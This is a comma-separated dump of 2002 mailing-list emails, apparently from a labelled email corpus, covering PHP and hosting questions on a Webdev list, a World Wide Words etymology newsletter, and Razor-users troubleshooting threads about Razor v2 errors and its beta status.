PHP will create a variable called ""varname"" with result SECOND. > However, if the query string contains > > varname[]=FIRST&varname[]=SECOND > > then PHP will create an array with varname[1]==FIRST and varname[2]==SECOND By far the coolest solution to this would be to ""fix"" php :) Take a look at main/php_variables.c in the php source distribution. You could mess around with the variable is_array in php_register_variable_ex() and see if you can force all variables to be arrays :) As far as I can tell the reason they do this is to save time by not having to work out which variables have multiple values. Nick _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 elvin@eircom.net,webdev@linux.ie,"Wed, 21 Aug 2002 19:44:28 +0100",[Webdev] PHP/MySQL Virtual Hosting Recommendations?,"Hi, I am looking at the options for a UNIX/Linux Virtual Server capable of holding multiple domains - preferably not tooo expensive as I am not a business. I wish to build a few PHP/MySQL sites and host them... A rough list of features I am after are Circa 50MB-100MB web space for now POP email accounts Account Control Panel Perl PHP MySQL FTP and Telnet Access 24/7 Own CGI-BIN Webalizer Graphical Stats Server Side Includes Good Reachable Technical Support I have seen a great looking 300MB solution in the region of 600Euro p.a. which at the moment is a bit over my financial head in one payment - I haven't completed any sites yet, but have a few potential jobs coming up. Any tips/pointers much appreciated! Regards, Elvin _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 """AJ McKee"" ",,"Thu, 22 Aug 2002 01:00:29 +0100",[Webdev] Very nice tool,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, Normally I would not post such things, but this is really cool for a visual idea of how ppl are linking to you http://www.touchgraph.com/TGGoogleBrowser.html It may not work from the submit button, but one the java appelet is loaded then try your URL. Its really quite nice. Aj - ---------------------------------------- AJ McKee NMTB media Phone: (Europe) +353 1 473 53 72 (North America) +1 206 339 4326 Fax: (Europe) +353 1 473 53 73 (North America) +1 206 339 4326 Website: http://www.nmtbmedia.com - ----------------------------------------- -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use Comment: PGP/GPG Keys located at http://www.nmtbmedia.com/keys/ iQA/AwUBPWQpnIHmA/TOOP95EQLE6gCcDlPEdah2rBmwTNUixPi4aung3g8AoJTK llXGK8OOdlMSV/0o3YynpOEa =Kxad -----END PGP SIGNATURE----- _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Lee Hosty ,webdev@linux.ie,"Thu, 22 Aug 2002 10:01:12 +0100",Re: [Webdev] PHP/MySQL Virtual Hosting Recommendations?,"At 07:44 PM 21/08/2002 +0100, elvin@eircom.net wrote: >Circa 50MB-100MB web space for now >POP email accounts >Account Control Panel >Perl >PHP >MySQL >FTP and Telnet Access 24/7 You'll be lucky to get telnet anywhere, SSH should do though. >Own CGI-BIN >Webalizer Graphical Stats >Server Side Includes >Good Reachable Technical Support > >I have seen a great looking 300MB solution in the region of 600Euro p.a. >which at the moment is a bit over my financial head in one payment - I >haven't completed any sites yet, but have a few potential jobs coming up. > >Any tips/pointers much appreciated! Try www.hosting365.ie - they haven't let me down yet. You could try iewebs.com aswell, though I don't know if they do ""just hosting"". Lee Hosty -x- hostyle AT csn.ul.ie -x- +353 (0)86 8768780 -- PLEELEY (adj.) Descriptive of a drunk person's attempt to be endearing. _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 """adam"" ",,"Thu, 22 Aug 2002 10:38:40 +0100",RE: [Webdev] PHP/MySQL Virtual Hosting Recommendations?,"Hi Lee, + You could try iewebs.com aswell, though I don't know if they do + ""just hosting"". + Heh, you won't find much on iewebs.com these days. Apache test page. For future reference, ieWebs is /kind of/ defunct -- I won't be able to do private devel projects for a while, so I'm not actively pushing it. I still do hosting and domreg, but I only do vanilla accounts unless I know the user reasonably well. I have trust issues. Thanks for the plug though. Just like me to no longer have a website when it happens. :) adam _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Michael Quinion ,WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG,"Fri, 19 Jul 2002 19:32:58 +0100",World Wide Words -- 20 Jul 02,"WORLD WIDE WORDS ISSUE 296 Saturday 20 July 2002 ------------------------------------------------------------------- Sent each Saturday to 15,000+ subscribers in at least 119 countries Editor: Michael Quinion, Thornbury, Bristol, UK ISSN 1470-1448 ------------------------------------------------------------------- IF YOU RESPOND TO THIS MAILING, REMEMBER TO CHANGE THE OUTGOING ADDRESS TO ONE OF THOSE IN THE 'CONTACT ADDRESSES' SECTION. Contents ------------------------------------------------------------------- 1. Turns of Phrase: Beanpole family. 2. Weird Words: Jobbernowl. 3. Beyond Words. 4. Q&A: Chip off the old block; Bells and whistles; Mortarboard. 5. Endnote. 6. Subscription commands. 7. Contact addresses. 1. Turns of Phrase: Beanpole family ------------------------------------------------------------------- Historically, families have usually had more children than parents, resulting in family trees that looked like pyramids. However, in recent years, especially in countries like Britain and the US, the number of children per generation has steadily gone down, while life span has increased. This has led to a shape of family tree that some researchers have likened to a beanpole - tall and thin, with few people in each generation. The term ""beanpole family"" has been around in the academic literature at least since 1987, but it rarely appears elsewhere. A recent British report has brought it to wider public notice, at least in the UK. Some researchers find it too slangy and prefer the jargon term ""verticalised"" to describe such families. Whatever term you prefer, specialists are sure that the demographic shift is having a big effect on personal relationships within the family and (for example) the role of grandparents. The rising divorce rate partly explains the growth of the 'beanpole' family. With almost one in two marriages ending in divorce, many adults have at least two families, each with a single child. [""Observer"", May 2002] Noting the rising number of so-called 'beanpole' families in Britain (families with only one child), the report warns that a child without siblings 'is starved of the companionship of family members of their own age ... [leading to] greater social isolation, with teenagers adopting a more selfish attitude to life'. [""Guardian"", June 2002] 2. Weird Words: Jobbernowl ------------------------------------------------------------------- A stupid person, a blockhead. Unfortunately, this useful and effective insult has rather dropped out of use in these mealy-mouthed times. The last excursion for it that I can find is in the classic W C Fields film ""The Bank Dick"" of 1940, in which the word occurs in a variant form in the line: ""Surely, don't be a luddie-duddie, don't be a moon-calf, don't be a jabbernow, you're not those, are you?"". Before that, it turns up in one of the novels of Hall Caine in 1890, but even by then it seems to have been rather rare. It's from the old French ""jobard"", from ""jobe"", silly. That word was then added to ""noll"", the top or crown of the head, the noddle. The first sense was of a block-like or stupid-looking head, but was soon extended to refer to the quality of the mind within. ""Jobbernowlism"" is the condition or state of being a ""jobbernowl"", or an act or remark that is especially stupid. Careful how you use it: the recipient might be a subscriber! 3. Beyond Words ------------------------------------------------------------------- I've been away at a heritage conference in Colchester these past few days. On my way back, my eye was caught by this warning sign posted above some steps at the local railway station: Caution Do not run on the stairs Use the hand rail 4. Q&A ------------------------------------------------------------------- Q. For my job I have to read American magazines concerning consumer electronics, home systems, burglar alarms, etc. I very often come across the expression ""bells and whistles"", which seem to relate to equipment, accessories or features that are offered to the customer as plusses but are not really indispensable for the device to work. Is that right? And where does that funny phrase come from? [Herve Castelain, France] Q. You're right about the meaning of this phrase, which refers to gimmicks - non-essential but often engaging features added to a piece of technical equipment or a computer program to make it seem more superficially attractive without enhancing its main function. The phrase is actually quite modern and may be a product of the American military. At least, one of its earliest appearances was in an article in ""Atlantic"" in October 1982, which said it was ""Pentagon slang for extravagant frills"". There's some evidence that the term has actually been around since the 1960s, but the early evidence is sparse. Where it comes from is still a matter of learned debate. A literal sense of the phrase appeared around the middle of the nineteenth century, referring to streetcars, railways and steamships. Before modern electronics, there were really only two ways to make a loud warning noise - you either rang a bell or tooted a whistle. Steam made the latter a real power in the land (anybody who has heard the noisy out-of-tune calliope on the steamboat Natchez at New Orleans will agree about its power, though less so about its glory). And at one time ""clang, clang, clang went the trolley"" in large numbers of American cities. At least some early US railroad locomotives had both bells and whistles, as this extract from an article in ""Appleton's Journal"" of 1876 shows: You look up at an angle of sixty degrees and see sweeping along the edge of a precipice, two-thirds up the rocky height, a train of red-and-yellow railway-cars, drawn by two wood-burning engines, the sound of whose bells and whistles seems like the small diversions of very little children, so diminished are they by the distance. Could it be that to have both bells and whistles was thought excessive, a case of belt and braces, an unnecessary feature, a frill? Possibly. But it's more probable the slang sense of the term comes from that close musical relative of the calliope, the theatre organ. Extraordinary instruments such as the Mighty Wurlitzer augmented their basic repertoire by all sorts of sound effects to help the organist accompany silent films, among them car horns, sirens, and bird whistles. These effects were called toys, and organs often had ""toy counters"" with 20 or more noisemakers on them, including various bells and whistles. In the 1950s, decades after the talkies came in, but while theatre organs were still common in big movie houses, these fun features must have been considered no longer essential to the function of the organ but mere fripperies, inessential add-ons. It's possible the slang sense grew out of that. It got taken up especially by the computing industry, perhaps because opportunities to add them are so great. ----------- Q. The designation of ""robes"" for academic dress clearly comes from its origin with the clergy in the Middle Ages. But what about ""mortarboards""? The best I could find was its origin in the 12th or 13th century clergy cap, but that was not square-shaped. Does ""mortarboard"" refer to the guilds or is its origin more ancient? A. The academic cap often called a ""mortarboard"" is quite ancient, but that word for it only dates from the middle of the nineteenth century (a less slangy way to identify it is to call it a ""square""). The literal mortar board is the wooden plate, usually with a handle underneath, on which bricklayers carry small amounts of mortar. A similar tool is used by plasterers, but they usually call it a hawk. What seems to have happened is that the similarity in shape between the brickie's board and the academic cap led some wag, probably at Oxford University, to apply the name of the one to the other. Our first recorded use is in a book of 1853-6, ""The Adventures of Mr. Verdant Green, an Oxford Freshman"" by a clergyman named Edward Bradley, who wrote under the pen name of Cuthbert Bede (the names of the two patron saints of Durham, where he went to school). Verdant Green is a sort of undergraduate Pickwick and the book recounts his adventures. This magisterial reprimand by a don appears after one such escapade: ""I will overlook your offence in assuming that portion of the academical attire, to which you gave the offensive epithet of 'mortar-board'; more especially, as you acted at the suggestion and bidding of those who ought to have known better"". After a slow start, the book became a huge success, selling more than 200,000 copies in the next 20 years. Whether Mr Bradley invented the slang term we may never know, but his book certainly popularised it. ----------- Q. I got into a discussion about ""chip off the old block"" with friends, and we are wondering if it had to do with sculpting, jewelry making, woodworking, or none of the above. What does this term mean, and where did it come from? [Vijay Renganathan] A. The associations are with carpentry, and the block is definitely made of wood. The first form of the expression was ""chip of the same block"", meaning that a person or thing was made of the same stuff as somebody or something else, so from the same source or parentage. An early example is in a sermon by Dr Robert Sanderson (at one time Bishop of Lincoln), dated 1637: ""Am not I a child of the same Adam ... a chip of the same block, with him?"". Later that century, another form is recorded ""a chip of the old block"", which meant that somebody was the spitting image of his father, or continued some family characteristic. At some point, probably late in the nineteenth century, this was modified to ""a chip off the old block"", which does nothing to change the sense, but is the way it's now usually written or said. 5. Endnote ------------------------------------------------------------------- ""The sum of human wisdom is not contained in any one language, and no single language is capable of expressing all forms and degrees of human comprehension."" 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The Words Web site is at . ------------------------------------------------------------------- You may reproduce this newsletter in whole or in part in other free media online provided that you include this note and the copyright notice above. Reproduction in print media or on Web pages requires prior permission: contact . -------------------------------------------------------------------",0,1 Scott Augustus ,razor-users@example.sourceforge.net,"Mon, 22 Jul 2002 10:39:11 -0400",[Razor-users] Razor Server Error,"Can anyone offer some insight into the following error? I am able to pipe mail through razor-check as root and it works fine but when it goes through the user filter via postfix I get the errors below. What's strange is that this just started, I've made no changes, and it was running beautifully for days. The goods: Jul 22 10:59:39.878996 check[29891]: [ 1] [bootup] Logging initiated LogDebugLevel=3 to file:razor-agent.log Jul 22 10:59:39.880196 check[29891]: [ 2] Razor-Agents v2.12 starting razor- check Jul 22 10:59:41.929484 check[29891]: [ 3] Unable to connect to ARRAY (0x80ff3c8):2703; Reason: Invalid argument. Jul 22 10:59:41.934032 check[29891]: [ 1] vr4_signature: Bad ep4: Jul 22 10:59:41.935634 check[29891]: [ 3] Unable to connect to ARRAY (0x80ff3c8):2703; Reason: Invalid argument. Jul 22 10:59:41.936022 check[29891]: [ 1] razor-check error: checkit: connect1: nextserver: No Razor servers available at this time TIA! ~S~ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Steven Champeon ,razor-users@example.sourceforge.net,"Sun, 21 Jul 2002 19:46:18 -0400",Re: [Razor-users] Re: revoke problem,"on Thu, Jul 18, 2002 at 01:18:01PM -0700, Chad Norwood wrote: > On 18/07/02 15:13 -0400, Steven Champeon wrote: > ) > ) Chad, has there been any progress on this? Thanks. > > > We are constantly working and improving the overall system, > client code, server code, logic, etc. Sometimes the long term > fix is not apparent right away with specific issues seen by > razor-users. > > If a mail is reported and revoked by the same identity, > it still might be considered spam. Oh, OK. That doesn't make sense. :) Can someone manually remove/revoke the message in question, then, while you work constantly to improve and tweak the system? Thanks :) > ) > I immediately revoked it, using the mutt command ""|"" and ""razor-revoke"", > ) > but it appears to still be in razor. Hashes are as follows: > ) > > ) > 1 part N/A e1: Zh19_7n6GRBFk6lyr8PYJcIWGJ8A > ) > 1 part 0 e3: q_vLZZ9m-ZAD3N3e7ieSzeeYekaYF83f6G11dfcTy9kA > ) > 1 part 0 e4: dcq2LaohnBmKsqUJW4xnOsdyk9EA, ep4: 7542-10 -- hesketh.com/inc. v: (919) 834-2552 f: (919) 834-2554 w: http://hesketh.com ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Scott Augustus ,"Mon, 22 Jul 2002 12:10:45 -0700",[Razor-users] Re: Razor Server Error,"There was a server bug on the backup discovery server. It's fixed now. cheers, chad On 22/07/02 10:39 -0400, Scott Augustus wrote: ) Can anyone offer some insight into the following error? I am able to pipe mail ) through razor-check as root and it works fine but when it goes through the user ) filter via postfix I get the errors below. What's strange is that this just ) started, I've made no changes, and it was running beautifully for days. ) ) The goods: ) ) Jul 22 10:59:39.878996 check[29891]: [ 1] [bootup] Logging initiated ) LogDebugLevel=3 to file:razor-agent.log ) Jul 22 10:59:39.880196 check[29891]: [ 2] Razor-Agents v2.12 starting razor- ) check ) Jul 22 10:59:41.929484 check[29891]: [ 3] Unable to connect to ARRAY ) (0x80ff3c8):2703; Reason: Invalid argument. ) Jul 22 10:59:41.934032 check[29891]: [ 1] vr4_signature: Bad ep4: ) Jul 22 10:59:41.935634 check[29891]: [ 3] Unable to connect to ARRAY ) (0x80ff3c8):2703; Reason: Invalid argument. ) Jul 22 10:59:41.936022 check[29891]: [ 1] razor-check error: checkit: connect1: ) nextserver: No Razor servers available at this time ) ) TIA! ) ) ~S~ ) ) ) ------------------------------------------------------- ) This sf.net email is sponsored by:ThinkGeek ) Welcome to geek heaven. ) http://thinkgeek.com/sf ) _______________________________________________ ) Razor-users mailing list ) Razor-users@lists.sourceforge.net ) https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Scott Henderson ,Razor-Users ,"Tue, 23 Jul 2002 17:28:33 -0400 (EDT)",[Razor-users] can't find Razor/Client.pm,"Apologies if this has been answered before on this list. I can't find a way to search the archives. I did my best to scan through the archive messages, but can't find my answer. Please advise if there is a search engine somewhere, Thanks. I'm trying to set up a smtp relay mail server using postfix, Spamassassin, and amavisd-new. (no local delivery, just an anti-spam filter box) I have installed razor-agents-sdk-2.02 and razor-agents-2.125 (in that order) on a RH 7.3 box for this. But when I try to load amavisd from the command line (as root), I get errors with: Can't locate Razor/Client.pm in @INC. But the machine does have a Client.pm on it, in fact, several, at: /usr/lib/perl5/5.6.1/Client.pm /usr/lib/perl5/site_perl/5.6.1/WAIT/Client.pm /usr/lib/perl5/site_perl/5.6.1/Client.pm /usr/lib/perl5/vendor_perl/5.6.1/Frontier/Client.pm.rawcall /usr/lib/perl5/vendor_perl/5.6.1/Frontier/Client.pm What am I missing? Thanks! Scott ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Tabor J. Wells"" ",Scott Henderson ,"Tue, 23 Jul 2002 17:59:22 -0400",Re: [Razor-users] can't find Razor/Client.pm,"On Tue, Jul 23, 2002 at 05:28:33PM -0400, Scott Henderson is thought to have said: > What am I missing? Thanks! Razor/Client.pm is part of Razor v1. You've installed Razor v2. Spamassassin's current release only works with v1. Although IIRC the current CVS code works with v2. Tabor -- -------------------------------------------------------------------- Tabor J. Wells razor-users@fsckit.net Fsck It! Just another victim of the ambient morality ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Scott Henderson ,"""Tabor J. Wells"" ","Tue, 23 Jul 2002 18:06:05 -0400 (EDT)",Re: [Razor-users] can't find Razor/Client.pm,"On Tue, 23 Jul 2002, Tabor J. Wells wrote: >Razor/Client.pm is part of Razor v1. You've installed Razor v2. >Spamassassin's current release only works with v1. Although IIRC >the current CVS code works with v2. Thanks, Tabor. How do I install v1 over v2, and where does one get it? (I don't see it at razor.sourceforge.net) ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Tabor J. Wells"" ",Scott Henderson ,"Tue, 23 Jul 2002 18:16:02 -0400",Re: [Razor-users] can't find Razor/Client.pm,"On Tue, Jul 23, 2002 at 06:06:05PM -0400, Scott Henderson is thought to have said: > Thanks, Tabor. How do I install v1 over v2, and where does one > get it? (I don't see it at razor.sourceforge.net) It's there. Scroll down on the downloads page. However you might consider going the other way and installing SpamAssassin's 2.40 bleeding-edge code as Razor v2 has a lot of nice features over v1. -- -------------------------------------------------------------------- Tabor J. Wells razor-users@fsckit.net Fsck It! Just another victim of the ambient morality ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,"""Tabor J. Wells"" ","Tue, 23 Jul 2002 19:11:28 -0400",Re: [Razor-users] can't find Razor/Client.pm,"On Tue, Jul 23, 2002 at 06:16:02PM -0400, Tabor J. Wells wrote: > It's there. Scroll down on the downloads page. However you might > consider going the other way and installing SpamAssassin's 2.40 > bleeding-edge code as Razor v2 has a lot of nice features over v1. To paraphrase something I heard once: Unless you like looking for a new job, never install a non-released or development-only version of software anywhere where the results of such code are important. ie: Don't run development code on a production machine. :) The problem isn't SA anyway, it looks for Razor1 and just keeps on going if it can't find it. Something came up about amavis on the SA list where it looks for Razor itself... -- Randomly Generated Tagline: ""Duct tape is like the force; it has a light side & a dark side, and it holds the universe together."" - Zen Musings ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Scott Henderson ,"""Tabor J. Wells"" ","Tue, 23 Jul 2002 19:30:11 -0400 (EDT)",Re: [Razor-users] can't find Razor/Client.pm,">> Thanks, Tabor. How do I install v1 over v2, and where does one >> get it? (I don't see it at razor.sourceforge.net) > >It's there. Scroll down on the downloads page. However you might >consider going the other way and installing SpamAssassin's 2.40 >bleeding-edge code as Razor v2 has a lot of nice features over v1. Hmmm... installed SA 2.40, but I get the same error when trying to launch amavisd-new (can't find Razor/Client.pm). Seems like the amavis code is calling for this. I'll hit up the amavis-users list. (Feel free to fire off the answer if you have it, though! :) ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Patrick ,razor-users@example.sourceforge.net,"Tue, 23 Jul 2002 21:21:58 -0700 (PDT)",[Razor-users] Authentication Error,"Today's error(received multiple times) was: Jul 23 21:16:39.288680 report[98557]: [ 2] Razor-Agents v2.12 starting razor-report ./jobspam Jul 23 21:16:46.597147 report[98558]: [ 1] razor-report error: reportit: Error 213 while authenticating, aborting. I really like the concept of Razor but I find myself wondering if it's really a good idea for the developers to be passing off what appears to be alpha-quality software as production-ready.... /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Joe Berry ,razor-users@example.sourceforge.net,"Wed, 24 Jul 2002 08:02:32 -0400",[Razor-users] Something wrong with Database?,"Until a few days ago, razor (sdk 2.03, client 2.12) was catching a decent set of spams. It seems now, however, that it isn't catching anything. I got one email this morning with ""ADV:"" in the subject another two or three about how many inches longer I can be. Did I miss something recently perhaps regarding configuration changes, etc? Thanks in advance, Joe --- Joe Berry joe@topshot.com AIM ""joe topshot"" Yahoo Msgr ""joetopshot"" Baltimore, MD ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Tabor J. Wells"" ",Patrick ,"Wed, 24 Jul 2002 10:13:40 -0400",Re: [Razor-users] Authentication Error,"On Tue, Jul 23, 2002 at 09:21:58PM -0700, Patrick is thought to have said: > Today's error(received multiple times) was: > > Jul 23 21:16:39.288680 report[98557]: [ 2] Razor-Agents v2.12 starting > razor-report ./jobspam > Jul 23 21:16:46.597147 report[98558]: [ 1] razor-report error: reportit: > Error 213 while authenticating, aborting. I believe this is fixed (or at least there's a workaround in place to try again) in 2.125 > I really like the concept of Razor but I find myself wondering if it's > really a good idea for the developers to be passing off what appears > to be alpha-quality software as production-ready.... And where does it say production-ready? http://razor.sourceforge.net says at the top of the page: June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's Razor v2 is now available for public download. Likewise Vipul's announcement post about v2 to this list states that it is beta in the first sentence. Tabor -- -------------------------------------------------------------------- Tabor J. Wells razor-users@fsckit.net Fsck It! Just another victim of the ambient morality ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Patrick ,"""Tabor J. Wells"" ","Wed, 24 Jul 2002 08:27:27 -0700 (PDT)",Re: [Razor-users] Authentication Error,"On Wed, 24 Jul 2002, Tabor J. Wells wrote: > On Tue, Jul 23, 2002 at 09:21:58PM -0700, > Patrick is thought to have said: > > > Today's error(received multiple times) was: > > > > Jul 23 21:16:39.288680 report[98557]: [ 2] Razor-Agents v2.12 starting > > razor-report ./jobspam > > Jul 23 21:16:46.597147 report[98558]: [ 1] razor-report error: reportit: > > Error 213 while authenticating, aborting. > > I believe this is fixed (or at least there's a workaround in place to try > again) in 2.125 Thanks. > > I really like the concept of Razor but I find myself wondering if it's > > really a good idea for the developers to be passing off what appears > > to be alpha-quality software as production-ready.... > > And where does it say production-ready? http://razor.sourceforge.net says at > the top of the page: > > June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's Razor > v2 is now available for public download. > > Likewise Vipul's announcement post about v2 to this list states that it is > beta in the first sentence. I sit corrected. I guess we could argue if it's even beta quality(I'd say I have about a 50/50 chance of reports being submitted), but I don't think that would be productive. :-) /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """rODbegbie"" ","""Tabor J. Wells"" ","Wed, 24 Jul 2002 12:26:53 -0400",Re: [Razor-users] Authentication Error,"Tabor J. Wells wrote: > And where does it say production-ready? http://razor.sourceforge.net > says at the top of the page: > > June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's > Razor v2 is now available for public download. 1) I think the code is still very much pre-beta. 2) When you go to the ""Download"" page, it tells you ""Fetch the latest versions of razor-agents and razor-agents-sdk packages"" It is not at all clear that these are development packages. The site is badly designed, and very misleading. IMO. The fact that the word ""beta"" appears in the middle of some introductory text on the front page is hardly a valid argument. (Well accepted software design ""fact"": USERS DON'T READ *ANYTHING*) I get the impression that Vipul & co are deliberately trying to mislead users into downloading the dev code in order to get more unwitting test sites. But that's just my opinion, I could be wrong. rOD. -- Anyway... long story short... ...is a phrase whose origins are complicated and rambling. >> Doing the blogging thang again at http://www.groovymother.com/ << ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """rODbegbie"" ",,"Wed, 24 Jul 2002 12:42:14 -0400",Re: [Razor-users] Authentication Error,"rODbegbie wrote: > I get the impression that Vipul & co are deliberately trying to > mislead users into downloading the dev code in order to get more > unwitting test sites. Apologies to all. In re-reading, that sentence sounds a lot harsher than I intended. As the old maxim goes, ""Never ascribe to malice that which can be equally explained by incompetence"". I'll shut up now. rOD. -- ""Fast! Fast! Faster! Bring the beef, you bastard,"" cries Paula Abdul, ""and don't forget the pasta!"" >> Doing the blogging thang again at http://www.groovymother.com/ << ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Patrick ,rODbegbie ,"Wed, 24 Jul 2002 10:02:51 -0700 (PDT)",Re: [Razor-users] Authentication Error,"On Wed, 24 Jul 2002, rODbegbie wrote: > rODbegbie wrote: > > I get the impression that Vipul & co are deliberately trying to > > mislead users into downloading the dev code in order to get more > > unwitting test sites. > > Apologies to all. In re-reading, that sentence sounds a lot harsher than I > intended. The question I have is: what needs to be done/help needs to be provided to make the system suck less? It's obviously a great idea, it just needs some work... /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Alan A."" ",,"Wed, 24 Jul 2002 13:24:09 -0400",Re: [Razor-users] Authentication Error,"> On Wed, 24 Jul 2002, Patrick wrote: > >On Wed, 24 Jul 2002, rODbegbie wrote: > > > > >rODbegbie wrote: > > > >I get the impression that Vipul & co are deliberately trying to > > > >mislead users into downloading the dev code in order to get more > > > >unwitting test sites. > > > > >Apologies to all. In re-reading, that sentence sounds a lot harsher than I > > >intended. > > > >The question I have is: what needs to be done/help needs to be provided to > >make the system suck less? It's obviously a great idea, it just needs some > >work... That's simple. The same thing that any beta project needs to improve. Continuous End-User testing, constructive feedback, and suggestions on how to improve the system. Upgrade each time a new beta version comes out, so everyone is testing on the same version of the code, and old bugs don't get reported as being in the new version, thus slowing down the debugging process. Report any installation issues, bugs, errors, etc., to the V2 beta list (http://lists.sourceforge.net/lists/listinfo/razor-testers) so that they can be quickly looked at, etc. Provide detailed description of issues, include logs if possible, as well as any ""captured"" spam that generated the error(s). Thank you, please drive through, - AA - ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Patrick ,"Wed, 24 Jul 2002 10:31:32 -0700",Re: [Razor-users] Authentication Error,"At this instance there are several thousand happy users of the Razor v2 system. The code is still officially in Beta, but the first stable release is around the corner. If you are seeing problems, download the latest version; most likely the problem has been fixed already, if not, send a bug report to razor-testers@lists.sf.net or to chad@cloudmark.com cheers, vipul. On Wed, Jul 24, 2002 at 10:02:51AM -0700, Patrick wrote: > On Wed, 24 Jul 2002, rODbegbie wrote: > > > rODbegbie wrote: > > > I get the impression that Vipul & co are deliberately trying to > > > mislead users into downloading the dev code in order to get more > > > unwitting test sites. > > > > Apologies to all. In re-reading, that sentence sounds a lot harsher than I > > intended. > > The question I have is: what needs to be done/help needs to be provided to > make the system suck less? It's obviously a great idea, it just needs some > work... > > 